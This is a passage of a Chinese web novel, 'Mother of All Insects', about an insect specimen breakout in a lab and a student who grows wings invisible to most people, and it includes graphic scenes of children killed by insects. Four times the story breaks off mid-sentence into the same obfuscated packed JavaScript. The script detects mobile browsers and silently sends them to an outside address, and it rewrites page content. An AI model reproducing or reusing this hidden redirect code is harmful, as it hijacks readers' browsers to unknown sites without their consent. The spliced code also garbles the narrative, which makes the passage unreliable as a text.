《众虫之母》 1. 序章 “今天所有的实验样品状态如何?” “所有样品的状态都相对平稳,不过近期部分卵的孵化进程相较于以往似乎上升了1.5个百分点,” 空旷的室内陈列着一排排玻璃试管,它们所盛放的营养液中悬浮着数只沉睡的虫卵。 为了保证实验体的稳定,室内没有装上任何较为明亮的光源。 但无论是幼虫还是虫卵危险指数都很低,所以这些研究员很少会把重心放在这里。 “嘶,嘶…” “什么动静” “嘶…..母亲...” 走到半路杰克突然听见一声沉闷的异动响,“你听见了吗?” 汇报人员也察觉到了某些异样: “好像是有什么东西在响?太暗了我看不清楚。” 在他们身后不远处的一根玻璃柱内,一只通体红色的虫卵上裂开一道狭长的口子,一对锋利的镰刀从这道缝隙里探出。 紧接着虫卵外壳迅速脱落,从里面爬出来的虫子眼睛还不能完全睁开,即使身躯在猛烈的撞击下支离破碎,但仍旧不顾一切的破坏着困住自己通向虫母气息方向的那道玻璃屏障。 咚! “母亲...嘶嘶....母亲....” 咚! 咚! 实验室引以为傲的高防玻璃被幼虫的镰刀击碎,那些残破的碎片掉落在地面上发出清脆的响声。 “该死的,怎么让这个怪物跑出来了!” “你还在这里愣着是想等死吗!?快去启动紧急预案!!” “是!” 安防系统发出激烈的警报: 「滴!滴!滴!」 “等等,看那些玻璃柱!” 微弱的灯光下他们只能看见柱子里的一双双睁开的眼睛,它们的瞳孔泛着暗红的微光,正盯着这边看。 威廉的眼神顿时变得惊恐无比:“其他收容所的实验体怎么会出现在这里!?” 忽然一种恐惧的情绪迅速涌上身体,仿佛被什么可怕的东西盯上了,而自己只是一只待宰的猎物。 他大喊:“快跑!” “若是等这些恶心的怪物逃出来,我们就彻底没救了!” 可还没有跑两步他们脚踩的地面就开始剧烈的震动,刺眼的灯光瞬间亮起,但很快转变成代表危险来临的鲜红色。 杰克没有料到这间实验室居然会出现这种等级的事故。 “威廉,快向上面汇报异常!” “已经联系过了,他们让我们等着,但估计来不及了!” “操!!难道我们就只能被困在这里等死吗!?” 他大喊道:“往逃生出口那边跑,快,该死!这些臭虫的血液有腐蚀性,我的眼睛要看不清东西了!” “…………” “威廉!?你怎么不说话了,往他妈逃生出口跑没听懂吗!!” 杰克转头,身后那位刚刚还好好的同事胸膛被破开了一个窟窿,一只黑色的螳螂从里面钻出来。 威廉的心脏正串在它的左肢镰刀上。 一声巨大的爆炸声响起,实验室的墙壁迅速脱落坍塌,杰克抛下这位已经失去生命征兆的研究员拼尽全力朝侧门跑去——那里通向有着堪比铜墙铁壁的安全屋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074176|179304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 实验室从建立起就预料到会有这么一天,可在最需要它的紧急时刻大门的开启程序却出现了问题。 “出现未知干预,系统异常,系统异常…” “该死的,快开门啊!” 可是一切都来不及了,杰克一回头发现那只追随人类气息而来的螳螂幼虫正趴在他的身后的实验台上。 正高高抬起它生来自带的利器对准他的心脏。 顿时绝望与崩溃蔓延整个躯体,他知道自己逃不掉了。 杰克转过身看向这些让耗尽研究员们所有心血的试验品们,他掏出腰间别着的手枪,对准那只怪物。 “砰!” “怎么可能……” 子弹在靠近它的时候竟被镰刀切成了两段。 手枪失去了它作为武器的威慑力,杰克绝望地面对这位“死神”的注视。 在失去意识的前一秒,他的视线中出现了一只纯白精灵——被周围那些装着巨大怪物的玻璃柱围着的那只破碎的培养皿上出现了一只小小的蛾子。 浑身湿漉漉的,背后小小的薄翅晶莹剔透,散发着微弱的光辉。 它甩了甩身上沾着的营养液,很明显,这些散发怪异气味的液体让它很不舒服。 随后又用那双大大的眼睛朝这边好奇地看过来,不似普通虫族的瞳孔之中,倒映着杰克残破的肢体。 ........ ........ 「因为实验人员的失误,701实验室发生了一次小规模爆炸,此次事故经评估后被判定为低风险意外,请广大网民不必恐慌,目前一切已恢复正常。」 3. 第二章 射击课上拉德尔像往常一样决定先进行一场测验检查每个学生前面的学习成果: “这边排好队,每支枪管里只有三发子弹,打中两次8环及以上即为通过。” 他是一个脾气很差但又热心肠的小老头,从战场上退役后因为战绩显赫名望又高被重新雇用回来成为一名教师。 毕竟是正在上过战场的人,拉德尔对学生就像当初对待手下一般严格,但长久的教师经历又让他不得不缓和态度耐心去为这帮孩子讲解指导。 因为真心想把每一个人教好,所以每次碰到那种资质比较差或是靠走关系进来态度不端正的学生在课上表现不好时他常常会急得直跳脚。 “三环!?是上课前手腕被诺菲咬了都不会握枪了吗?”诺菲是第二食堂前很凶的一条看门狗。 “希尔斯你已经空了两枪了!第三枪试着瞄准自己的膝盖看看能不能打中!” “你们这些蠢才再学一百年也不能在我这里拿到合格分!” 不过他对于一些优秀的学生就很宽容随和。 轮到艾尔贝的时候前面已经有一半的同学因为不合格被拉德尔安排上加练。 他拿起训练的枪支,摆好动作开始瞄准…… “十环!” “十环!” “漂亮艾尔贝!坚持下去,你又快破纪录了。” 可惜拉德尔的夸赞并没有燃起他的斗志,在刚刚打完第二枪时后背突如其来的灼痛让艾尔贝的手不停地颤抖着,他努力想要保持状态,盯着靶子按下最后一枪—— “三环?!” 看到结果后拉德尔十分不可思议,他扯着两侧的卷发抓狂大喊:“这是怎么回事?” “抱歉拉德尔老师。” 艾尔贝感到自己的的力气好像被抽干了一般,被迫脚下一软,好在站在队伍中间的卡修斯察觉到异样后及时冲上来将他接住。 “没事吧?” 此时拉德尔再怎么失去理智也能看出来他的状态似乎有些不对劲,他急忙走上来:“你怎么了,是不是有哪里不舒服?” 艾尔贝很想开口回答,但背脊那一块灼热的疼痛还在继续,“嘶——” “我的后背好像出了什么问题。” 他抬起头,微微皱眉向拉德尔请假: “老师,可以麻烦让卡修斯带我去趟医务室吗?” “好,”拉德尔马上就同意了,“先去找洛斯看看,有什么不好的情况及时就医。” 洛斯是塔林顿贵族学院医务室高薪聘请的专家,他比起那些外伤他更善于治疗身体内部出现的问题。 可这次他盯着艾尔贝光洁的背脊看了许久却始终皱着眉头迟迟不能舒展。 他方才用了很多仪器但是都没有检查出来有什么问题。 “你确定是这里出了问题吗?”洛斯带着崭新的一次性手套轻轻按压艾尔贝后面的左部小圆肌。 “可是它真的很正常,或许比我的背还要再健康一点,你知道吗,我昨天做拉伸运动的时候都差点伤到自己,但我觉得如果是你的话就肯定不会,你的身体表现出了很优越的柔韧性。” 洛斯很喜欢在工作的时候开一些无人在意的小玩笑,但这次他真的很认真地在询问艾尔贝:“如果你是想逃课的话,其实可以不用装病。” “拉德尔很喜欢你,或许你随便找个理由他也会给你批假,比如你可以说自己出门的时候穿错了袜子,他会让你走的我保证。” “洛斯先生。” 艾尔贝有些无奈:“我不是这种人,当然,拉德尔老师也不是。” “真的没有检查出任何问题吗?” 他看着自己身后长出来的膜质翅,脸上露出很迷茫的表情:“可是,那这算什么呢?” 这对半透明的翅膀长于他的肩胛骨上,尾端垂落,与他的身体完美地融合在一起,似乎就是天生的一般。 “什么?”洛斯对他的话语感到疑惑,“你指什么?我没有看见值得疑惑的东西。” 一直安静地坐在一旁卡修斯看着艾尔贝的身后眸光闪了闪,但他选择闭口不言,保持着缄默。 “可是,真的有!” 艾尔贝背过身去不停地摇晃着,想向洛斯展示这对新生的翅膀,可洛斯始终表示自己依旧什么也没看见: “我想亲爱的艾尔贝你或许真的应该好好休息一下了,”他扶额:“再怎么样也不要让我承认看见了某些不存在的东西,作为医生我只能认定事实。” “想想自己最近是不是误食了什么致幻的食物,或许能知道你想要的答案。” 从医务室离开之后艾尔贝不打算再回去继续上课了,他鼓起脸蛋撑着下巴,作出一幅正在认真思考的样子:“你也觉得我是在无理取闹吗?” 他抬起头瞪大眼睛盯着一直在沉默的卡修斯。 卡修斯看着艾尔贝一脸气鼓鼓的样子:“没有,只是是洛斯水平太低了而已。” 虽然他很清楚艾尔贝未成熟的膜质翅是人类无论如何也看不见的。 “洛斯有一点说的对,或许我真的需要回家一趟了……” 天空中太阳的位置已处于一天中的较低点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074178|179304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,光线因此变得昏暗,可艾尔贝身后的那对翅膀却发出淡淡的白光,存在感变得更强。 艾尔贝时不时就回头看看它们,虽然不可思议,可所有经过他身边的人居然都没有察觉到什么异样。 因为这次是他请假所以提前回来了,到家后查理斯并没有像往常一样在门口迎接他。 最后在散发的甜腻糕点香气的餐桌旁,他找到了正在将餐巾叠放整齐的管家。 艾尔贝站在他的身后,看着他将最后一支花插着中间的花瓶中才开口: “查理斯,你现在忙完了吗?” “我有事想问问你。” 结束了忙碌的晚餐布置,查理斯回头看向艾尔贝以及他身后的那对崭新的器官:“你想问我关于这对翅膀的事吗?” “你能看见?!” 艾尔贝露出了一个很惊讶的表情,他的手抵在张开的嘴前,眼睛瞪得圆溜溜的。 “所以这到底是怎么回事,为什么我会凭空长出这样一对翅膀来呢?而且,其他人还都看不见……” 查理斯只是弯下腰轻轻摸了摸他的头发:“不用担心,这是你成长过程中的一个必要环节。” “不需要将它放在心上,也不必告诉别人。” “他们是无法理解的,每个人生长的过程都不一样,你只是稍微有些特殊而已。” 查理斯牵起艾尔贝的手,带着他在椅子上坐好准备享用晚餐,可艾尔贝看着眼前琳琅满目的美食依旧提不起什么兴趣。 夜晚艾尔贝躺在床上时感到一阵突如其来的疲倦,按照以往来的习惯他都需要酝酿许久才能入睡,在今夜却达成倒头就睡的成就。 随后一阵丰盈的精神力涌进他的大脑,再次睁眼时他的眼前出现了一片漂浮着无数星星的银河。 那些星子在他出现后不断地朝他所在的方向汇集过来,但它们内部又各自结成不同的方阵,流转出了色彩各异的光芒。 艾尔贝向四周望去,在回头的那一刻他看见了自己身后的正悬挂着一轮巨大的圆月。 这到底是什么地方? 看见这轮月亮艾尔贝竟生出了一股熟悉的感觉,仿佛已经见过很多次了,或是说这轮月亮与他存在很强的羁绊,就好像,是从他的身体里分离出来的一般。 忽然他的手不小心触碰到了一直漂浮在周身的一颗微小的星子,顿时接收到了它身上所承载的情绪: 喜悦,激动,期待…… 这种陌生的感受吓得艾尔贝连忙收回自己的手,他眼神凛冽,认真着审视这个奇怪的梦境中出现的一切。 4. 第三章 今年塔林顿的毕业典礼很荣幸地邀请到了现任舰队舰长艾德里安作为荣誉学生返校为今年的毕业生进行授勋。 学校里的所有人都大肆讨论着这个话题,毕竟身为只效忠帝国的军部总指挥官他只要出现就会携带大量的讨论度。 比如他在战术方面天赋异禀,为帝国争取了许多本该失去的胜利。 比如他最近和卡蒙司令走的很近,是不是意味着军部也要开始涉政了…… 台下学生的座位按着个人绩点的高低从前往后排列,艾尔贝坐在最靠前的席位上,他一抬头就和正站在台上发言的艾德里安对上视线。 “军人的职责是保卫帝国的安全,这份责任重如千钧,意味着在危难时刻必须挺身而出,意味着为了更大的利益可以牺牲小我。” 他身上穿着的白色制服前戴着各种奖章与军徽,那也彰显出他如今在帝国的崇高地位。 “诚心祝愿每位学子都能在毕业后实现自己一生的目标。” 话音刚落下现场便响起了激烈的掌声。 典礼结束后艾尔贝收到一则通知,负责管理他们的指挥系部长告诉他艾德里安长官想要邀请他的弟弟去到行政楼进行一番谈话。 艾尔贝询问他:“这是私人谈话吗?” “不,艾尔贝。”部长给出了否定的回答:“那里现在不止有艾德里安一个人。” “如果你是想要和你哥哥聊一些家常的话,可能要稍微等一会儿。” 同作为指挥系学生毕业的艾德里安在学校这些初出茅庐的小子眼里简直就是作为超级偶像一般的存在,那些人绝对不会放过这个千载难逢的好机会。 艾尔贝能想象现在的艾德里安绝对面临着来自那些人各种各样的问题,思索一番后他点点头: “好的,我知道了。” 路上还有源源不断的学生正抱着课本往这边走,到了访谈室门口时艾尔贝向里面望去,艾德里安正被一群来自指挥系的同学层层围住。 艾尔贝安静地站在门外观察,他看着这些人在面对艾德里安时脸上露出崇拜的表情,以及在解决问题后满意离开时洋溢出的喜悦。 他们看起来很开心。 直至最后一名同学带着签着艾德里安大名的指挥理论课本离开时正好经过了艾尔贝身边,他主动打了一个招呼:“艾尔贝,原来你也在这里,怎么不进去呢?如果你也是来找艾德里安大人要签名的话那他就在里面!” “谢谢,我知道。” 艾尔贝对他点点头,随后起身走进访谈室,越过隔断的阻挡后他看见艾德里安正坐在学校为他安排的办公椅上闭目养神,手上还握着签名时用的钢笔。 他走过去在艾德里安面前也露出了一个开心的笑容:“我们要聊一些什么?” 艾德里安轻轻睁开眼,在看见艾尔贝这幅样子时突然皱了皱眉头,他叹了口气:“我们是家人,艾尔贝。” 虽然在他眼里许久不见弟弟还是这么乖巧可爱,但幼弟现在仍旧保留从前偶尔会出现的小错误。 “军队里忙碌的工作已经够让我疲惫了,如果现在最亲密的家人在我面前还要去模仿别人的话,我会很难过。” 艾尔贝不理解他的意思,眼神中展现出一丝疑惑,他顺从艾德里安的暗示去握住哥哥的手:“可这就是我现在的感受呀。” “看见你我很开心,不是在模仿别人。” 艾德里安却依旧却依旧很严肃地看着他: “艾尔贝,看着我。” “你现在的感受应该是面对久别重逢亲人而生出的喜悦,为什么要模仿他们那种在面对崇拜者时的开心呢。” 面对他的指责艾尔贝有些愧疚地对了对手指,虽然这也是他从那些犯错误的人身上学过来的。 是不是因为自己模仿的不到位,所以才让哥哥伤心了? 他在心里默默地想着。 艾德里安伸手打断他的小动作,他轻轻摸了摸艾尔贝洁白的发瀑: “和哥哥聊天时永远都不要有胆怯和恭敬知道吗?” “现在你觉得我们应该聊些什么呢?” 是不是许久不见,弟弟才会与自己生疏了,他已经很久没有看见艾尔贝犯这种小错误,关于情景对话应该表现出的情感他学习了很久,应该很熟练才对。 他知道弟弟异于常人的地方,即使在圆满的家庭下被精心呵护长大,艾尔贝似乎天生对某些情绪,或者说除了亲近的人以外有一种剥离感,看向其他人的也不像看待同类的眼神…像是某种更高维度的存在。 这点在艾尔贝年纪逐渐长大之后开始好转,他似乎学会了某种伪装,将自己冷漠的眼神与非人的情绪埋藏在温和无害的外表下。 正如现在艾尔贝抬起头来,方才脸上伪装出的情感都消失殆尽,异于常人的银白瞳孔散发着无机质地光辉。 艾德里安将他拉过来坐到自己的腿上,访谈室只有两把椅子,他不想让艾尔贝去坐方才被很多人轮流使用过的那一把。 他怕弟弟会被制服上的勋章硌到将外套上面的几枚扣子解开,于是艾尔贝的头抵在他的锁骨处,抬头说话时的气流掠过他的耳朵: “哥哥这次离开了好久,指挥部现在很忙吗?” “还好,和从前一样吧。” “我们换个地方聊聊如何?” 艾德里安的手搭在艾尔贝的身上,他感受着艾尔贝单薄的身型,疑心查理斯是不是趁自己不在虐待自己的弟弟了,不然为何他这趟回来会觉得艾尔贝变得比从前更加消瘦。 他怜惜地看着艾尔贝懵懂的眼睛。 因为弟弟儿时不幸的经历让艾德里安无比重视他的成长坏境。 在艾尔贝还小的时候就被父母送去某个贵族子弟聚集的幼学就读,那时的他发育的比较慢,所以即使是在大家都还比较矮小的年纪也格外的突出。 只要他站在班里那群让家中无比头疼的小恶霸中间就会很容易会因为身高的原因被淹没。 如果是其他孩子的话或许也能很平淡地度过幼年生长期,可艾尔贝与寻常的孩子不同。 他足够漂亮,某些地方也足够怪异。 如果你看见他那精致的如同人偶一般的小脸蛋和珍珠似的美丽眼睛后绝对会忍不住会为他着迷。 可惜并非所有人都能欣赏这份美。 比如幼学里的那群孩子,他们在看见艾尔贝的眼睛后被吓得望而止步。 在孩子的认知中与众不同的存在就是奇怪的表现,艾尔贝那没有瞳孔的白色眼睛让他们感到惧怕。 "就像那些故事里的怪物一样!" 这群被家里人宠坏的孩子对着小艾尔贝释放孩童最原始的恶意,领头的那位高壮男孩叫文迪,从他的体型上就能看出来他似乎有些营养过剩了。 在数次挑衅被无视之后终于恼羞成怒,他走过来揪住艾尔贝的头发使劲一扯,逼着艾尔贝与他对视: "为什么你这种怪物可以和我们一起上学? 在他身后的那些小孩也跟着附和:"文迪老大说得对!" "小心我叫皇家护卫队把你抓起来!" “离我们远一点,你这个异类!” 在被这些毛头小子唾骂的一整个过程中艾尔贝什么也没说,他仅仅只是用那双琉璃似的眼珠盯着他们看,随后歪了歪头,似乎没有理解这些人是什么意思。 可沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074179|179304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默带来的是更严重的怒火,文迪逐渐收紧了力道,随后得意洋洋地看着艾尔贝吃痛的表情。 “是哑巴了吗!?” “最烦的就是你这怪物目中无人的样子!” 眼见着终于得到一点反馈,这些孩子爆发出高亢的笑声,即使艾尔贝还是无法理解为什么看到自己痛苦的表情会让他们如此快乐。 就在事态即将发展成纯粹的暴力行为之时,艾尔贝听到了一阵嗡鸣声,他抬头看向拽着他头发高举着拳头的文迪,以及出现他背后成群的虫群…… “这是什么!” “虫子,怎么会有这么多虫子,救命!” “艾尔贝,这是你干的吗?!等等,不,救救我!” 在那些孩子的惨叫声中这群虫子迅速将他们啃食殆尽,文迪那曾经肥胖充满脂肪的半边脸如今露出森森白骨,他努力地爬到艾尔贝的脚边向他发出求助。 可艾尔贝依旧不理解眼前所发生的一切,他的脑子里还在思考着为什么刚才这群人看见自己痛苦会笑的问题。 他坐在一地的血肉与虫尸之间,身上却没有沾染上哪怕一滴血液。 脚下文迪的表情变得扭曲,一只蜈蚣吞掉他的眼球从眼眶中爬出,惨烈的叫声传出到很远的距离,在这一刻艾尔贝恍然大悟,他终于意识到了文迪在痛苦。 可是出现痛苦意味着要出现笑容。 于是躺在地上逐渐失去气息的文迪,最后听到的是他们嘲弄艾尔贝时候一模一样的笑声。 频率,间隔 ,情绪都完全一样的笑声。 玛丽女士收到学校老师电话的时候,艾德里安正忙着为弟弟准备丰盛的下午茶。 因为担心瘦小的弟弟可能会在学校被人欺负而自己又无能为力,艾德里安慢慢养成了一有时间就要投喂艾尔贝的习惯。 他希望艾尔贝能快点养成一个健康的身体,起码能在遇到危险的时候保护好自己。 "这个孩子简直就是一个天生的恶魔!面对同学的死亡不仅没有任何的害怕与同情,就只是在一旁幸灾乐祸地笑,这还是一位正常的孩子应该有的表现吗?!" 幼教老师刺耳又愤怒的声音从电话里传出来,艾德里安看着母亲神情变得严肃。 她平静地挂断电话,随后带着大儿子以最快的速度前往艾尔贝就读的幼学。 "我希望你能认识到,是你作为老师没有尽到保护的指责,现在还想着要推脱责任。" “甚至为此不惜污蔑一个幼小可怜的孩子。” 母亲抱着浑身脏兮兮的艾尔贝指着屏幕上正在播放的监控录像: "我想监控录像足够证明此事并非艾尔贝作为。" "至于你所说的关于艾尔贝性格方面的问题就用不着你操心了,我只看见我的孩子在这里受到了不公平的待遇,而你作为老师却视而不见。” 老师不可置信地看着监控所显示的一切,她无法理解为何这所安保措施堪称业内典范的学校会出现一群不知从何而来的残忍害虫。 “这不可能!” 她抓狂道:“肯定是这个怪物引来的虫子!不然凭什么他会安然无恙!” “我会带艾尔贝办理转学手续,”听见她的话后母亲的脸色变得更加冷冽:“你也去收拾收拾回去准备接收我的追责书吧。" 回去的路上艾德里安替艾尔贝整理上翘的衣领,早晨离开时被母亲仔细打理好的头发也被那些孩子扯的乱七八糟,脸上还有一些不知是谁的泥泞指印。 他蹲下去摘下手套,用手指轻轻抹去那些污痕,随后紧紧抱住一直保持沉默的艾尔贝: "哥哥发誓,从今往后再也不会让任何人欺负你。" 5. 第四章 从访谈室出来后艾德里安开车带着艾尔贝来到某个高级餐厅,他一落座就点满了对于两个人来说根本就不可能吃的完的菜品。 为了避免餐厅里有人认出他而造成不必要的影响,艾德里安带着艾尔贝开了个包厢。 “怎么又瘦了,是不是在家查理斯没有好好照顾你,尝尝这个松饼,我记得是你喜欢的口味。” 一块黄油松饼被叉起,上面浇了一层淡黄色的蜂蜜,在艾德里安的印象中弟弟每次都会单独吃完一整盘。 若是查理斯听见了这番话肯定会叫冤,因为他已经足够努力了,可无论吃多少艾尔贝始终都还是这幅纤细瘦弱的样子,这的确算不上是他的错。 在饭桌上艾德里安回答了访谈室的那个问题,略过了一些残酷的战争经历,只是向艾尔贝诉说了星际航行中的一些趣事。 顺便还透露了卡蒙司令在军队对他格外关照的事情,因为涉及到更深层次的利益关系,他没有深讲,只是给艾尔贝简单提了一嘴。 锋利的刀刃将牛排切成小块,艾德里安叉起其中的一块较为完整的放在艾尔贝面前那尚且空荡荡的盘子里。 “不过你也快毕业了,对于这方面有什么自己的想法吗?” “艾尔贝,艾尔贝?” 后者似乎正沉浸在自己的世界里,被接连叫了几声名字后才回过神来:“哥哥?” 艾尔贝没有回答艾德里安问的关于未来目标的问题,他的表情忽然变得有些难以启齿。 “怎么了?” 艾德里安见状询问道:“你不舒服吗?” “不是的……” 察觉到背部传递着熟悉的异样,艾尔贝轻轻眨了眨眼: “哥哥,你之前……长出过翅膀吗?” “翅膀?”艾德里安有些讶异,“当然没有,你怎么会这么问?” 艾尔贝控制不住地回头,身后这对纤长透明的薄翅在他的注视下正微微颤抖着。 方才吃饭的时候艾尔贝就忽然感受到它们与自己的联系似乎又加深了些,除去最初生长时的灼痛,这次他已经能接收到薄翅产生的动静了。 这也是成长必经的一部分吗? 但又想起查理斯的那句叮嘱:“不要对别人提起这件事”。 艾尔贝犹豫了一会儿,还是决定不把这件事告诉艾德里安,毕竟他们俩好不容易才能再聚在一起享受难得的独处时光,他不想为这种小事给哥哥带来困扰。 “没事。” “不是什么很重要的问题,我们聊聊别的吧。” 还是私下再抽时间去查查资料看看到底是怎么回事吧,他想。 饭后艾德里安出去接了个电话,回来告诉艾尔贝说有些事情需要处理他得先回一趟军部。 艾尔贝表示理解,他本想自己打车回去但艾德里安很强硬地要求亲自送他,等到学校门口艾尔贝即将下车的时候又拉住了他的手。 艾尔贝不解:“怎么了哥哥?” 艾德里安每次露出这种严肃的神情时总是让他会很紧张,尤其是在被那猩红色的眼睛盯着的时候。 “你应该快要到实习阶段了,送你一个礼物。” 话音刚落他便从后座上拿出一个精致的盒子递给艾尔贝,并嘱咐道:“等分配完队伍之后再打开吧,希望它能派上用场。” 艾尔贝眨了眨眼,对他的话感到些许疑惑,但还是很乖巧地抱着它,点了点头说: “谢谢哥哥,我知道了。” 随即与艾德里安挥手告别。 “下周所有人都将被分配到各个指定的列队进行为期一年的实习,此次实习成果也将作为衡量你们是否能在塔林顿顺利毕业的重要依据……” 塔林顿指挥学部长艾伦教授站在整个班级的前方,手舞足蹈地向他们强调这次的实习经历对于这群在他的眼中从未出过校门的“温室花朵”来说有多么多么重要。 艾尔贝站在队列的中间,庄重又贴身的制服整齐地穿在身上,也许对于几个月前的他来说很合适,但现在……身后的薄翅被厚重的外披紧紧地压在背部,正巧现在他又发育到与翅膀的产生了通感,这让他感到有一丝喘不过气。 或许得回去再找查理斯帮忙改一下尺寸了,艾尔贝默默在心里想着。 交代完基础事项后他带着所有人绕过理论教室走到长廊的拐角处,那里有一间测试房,在未踏上真正的战场前每一位指挥学员都需要在这里不断进行一次又一次的评估实验。 最中间的位置摆放着一个大型的棋盘作为考卷,测试规则很简单,那便是让每位学员以全息舱为媒介进入棋盘成为所有棋子的指挥官。 每个人都需要通过精神力去操纵这些棋子,同时也是战局中军队的各个组成部分。 人类过往所经历的每一场战争最终都会化作考卷落在棋盘上,仿真的推演会展现出操纵者的决策是否正确,同时也告诉“指挥官们”:如果这场著名的战争由你来谋划是否会有不一样的结局。 可结果便是除了一些人工设计的基础棋盘外,在场的每一位同学所挑战的真实战场都取得了失败的战绩,甚至有一些比原定的失败更加惨烈。 沙盘指挥教练科伦多注视着这一幕没有停下过他那伤人的叹息,他用怜悯的目光看向每一位觉得自己已经足够有能力去指挥真正的战事而放弃基础训练挑战古战场的失败者。 “在这里眼高手低不是什么坏事,敢于挑战对于任何人来说都是一种美德。” “同时,我也希望失败能给你们带来一些教训。” 科伦多作为实习带队老师需要经过这一堂课给每个人划分到适合他们的小队,以免本次的实习对部分人来说会失去效果。 通过基础棋盘的学生被他分到中线的搜捕队,挑战历史战局失败的被划分到后勤部,那些连基础棋盘都没有通过的甚至还要再多留校一个月进行特训与检测。 前面的人陆续找到了自己的队伍后终于轮到艾尔贝,科伦多很欣赏这个成绩一向都是名列前茅的学生:“你想参加哪一场?” 艾尔贝直直地走向古战场区域,指着其中的一栏「科迪兰多的毁灭」:“我要挑战这个。” 科迪兰多曾经是一个美丽的旅游行星,曾属于帝国的管辖范围内,它以丰富而又美观的长毛系动物资源而出名,吸引了无数游客前去参观。 可科迪兰多当时的掌权者却犯了大忌,他为一己私欲将安保维护的资金大量私吞,也忽视了长毛动物最容易被虫族寄生的问题。 很快在一次感染大爆发后科迪兰多内部彻底被所占领,控制着整颗星球运的转位于海中的计算机失去掌控,对于依靠低效率网络信息传输来指挥的军队来说,想要清除内部的虫子更是难如登天。 “那位负责此项任务的指挥官选择直接引爆这颗星球,以免虫子继续蔓延,毕竟科迪兰星除了旅行的作用外在当时人们的眼中就已经是资源枯竭的荒星了,直接炸掉是最省时省力的办法。” “来吧艾尔贝,或许你会有更好的决策,让我看看你真实的能力。” 看着艾尔贝戴上眼睛躺进全息舱后,科伦多上前亲自替他关上舱门,随后开启了装置。 …… 再次睁开眼,眼前是一片广袤的海洋。 海面上树立着几根巨大的管道直冲云霄,那便是联通着内部智脑的通道。 在他看清星球的现状时任务栏与提示也同时出现在他的眼前: 「地点:科迪兰中央海」 「背景:突如其来的虫灾控制了星球的主脑系统,所有的虫子都在海洋智脑内部的管理层造成干扰,它们正在让这个星球停止运转。」 「任务:将科迪兰的虫族围剿干净。」 “现在的问题是里面的结构太过错综复杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074180|179304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们的军队组织也较为分散,别说找到办法,光是找到路就很困难。” “成本太高了,不建议采取潜入的方法。” 棋盘系统完完整整地还原了当时真实情景,连生成的npc都是当初的那些人。 艾尔贝站在半空中的指挥舱,纯白的指挥官披风垂落在他的身后,贴身的制服勾勒出纤细的腰线,短裤上扣着几根银色锁链,能随时取下用来锁住不听话的下属。 看着屏幕上登出的内部地图,他指向最中心的那个舱室问道:“如果能将能源电池送到那里,能否启动自净系统。” 向科迪兰星这种主要由智脑族群控制的星球往往都是同一套模组,帝国为了避免低等级的星球被占领模组中都安装有自净装置。 由系统情景再现的作战组队长回答道:“如果能找到并安装上去的话,就可以。” “好,安排一支队伍带上能源电池出发,摘下受到影响的半屏指挥器,从中心的那根管道进入。” “是。” 艾尔贝闭上双眼,开始尝试去链接这支队伍的精神网络。 通过上层的管道进入第一层机械模组,映入眼帘的是一片漆黑,直到一位队友打开队伍携带的光源,内部的结构才变得清晰起来。 “能听见我说话吗?” 这时队长脑海里响起一阵清脆的呼唤,代表着指挥官成功共感了他的精神网络。 他激动的回复:“是的,能听见。” “减少了指挥器的消耗现在光源就能维持更久,希望您是能保持共感传输式的指挥,以便我们能成功找到规划的路线。” 艾尔贝第一次这么清楚地感受到自己的精神力在不断地流失,时间紧迫,他们的速度得加快了。 能够被棋盘收录的古战场绝对都不是什么简单的事件,艾尔贝想到的开启自净系统或许是人类方能做出的最正确的决定,可真要是这么简单的话当初也不会做出那么大的牺牲去选择引爆它。 最怕的就是赔了夫人又折兵,面对预测成功率只有百分之一的办法,那位指挥官不想冒这个风险。 “再通过这个引擎,顺着管道再下一层便是能源中心了。”艾尔贝指挥着小队一路踩着正确的路线越走越深。 滋滋滋,滋…… “等等。” 听见他的话后队长立即打了个手势示意小队停下,传讯问道:“怎么了?” 艾尔贝感受到一阵奇怪的精神力干扰,来自于他所共感的这具身躯前方,那道幽深的,连接引擎与能源中心的管道。 “是虫子。” “那个管道里,有许多虫子。” 